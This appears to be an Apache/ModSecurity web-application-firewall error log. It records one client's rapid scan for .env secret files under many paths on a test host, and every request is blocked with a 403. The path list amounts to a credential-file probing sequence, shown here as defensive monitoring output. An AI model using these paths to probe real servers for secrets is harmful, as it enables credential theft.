[Wed Feb 25 06:05:31.516552 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/traefik/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX3AAAAAQ&quot;]
[Wed Feb 25 06:05:31.516828 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX3AAAAAQ&quot;]
[Wed Feb 25 06:05:31.517006 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX3AAAAAQ&quot;]
[Wed Feb 25 06:05:31.538198 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibMgAAAAA&quot;]
[Wed Feb 25 06:05:31.538513 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibMgAAAAA&quot;]
[Wed Feb 25 06:05:31.538705 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibMgAAAAA&quot;]
[Wed Feb 25 06:05:31.579902 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibMwAAAAA&quot;]
[Wed Feb 25 06:05:31.580201 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibMwAAAAA&quot;]
[Wed Feb 25 06:05:31.580414 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibMwAAAAA&quot;]
[Wed Feb 25 06:05:31.612867 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/mysql/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibNAAAAAA&quot;]
[Wed Feb 25 06:05:31.613142 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibNAAAAAA&quot;]
[Wed Feb 25 06:05:31.613326 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibNAAAAAA&quot;]
[Wed Feb 25 06:05:31.671698 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sessions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX3QAAAAQ&quot;]
[Wed Feb 25 06:05:31.671802 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/phpmyadmin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibNQAAAAA&quot;]
[Wed Feb 25 06:05:31.671994 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX3QAAAAQ&quot;]
[Wed Feb 25 06:05:31.672056 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibNQAAAAA&quot;]
[Wed Feb 25 06:05:31.672165 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX3QAAAAQ&quot;]
[Wed Feb 25 06:05:31.672219 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibNQAAAAA&quot;]
[Wed Feb 25 06:05:31.740669 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/rabbitmq/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibNgAAAAA&quot;]
[Wed Feb 25 06:05:31.740954 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibNgAAAAA&quot;]
[Wed Feb 25 06:05:31.741150 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibNgAAAAA&quot;]
[Wed Feb 25 06:05:31.774309 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/rediscommander/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibNwAAAAA&quot;]
[Wed Feb 25 06:05:31.774613 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibNwAAAAA&quot;]
[Wed Feb 25 06:05:31.774790 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibNwAAAAA&quot;]
[Wed Feb 25 06:05:31.800141 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX3wAAAAQ&quot;]
[Wed Feb 25 06:05:31.800405 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX3wAAAAQ&quot;]
[Wed Feb 25 06:05:31.800571 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX3wAAAAQ&quot;]
[Wed Feb 25 06:05:31.849404 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resourcesync/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibOAAAAAA&quot;]
[Wed Feb 25 06:05:31.849687 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibOAAAAAA&quot;]
[Wed Feb 25 06:05:31.849882 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibOAAAAAA&quot;]
[Wed Feb 25 06:05:31.884249 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shibboleth/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX4AAAAAQ&quot;]
[Wed Feb 25 06:05:31.884539 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX4AAAAAQ&quot;]
[Wed Feb 25 06:05:31.884719 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX4AAAAAQ&quot;]
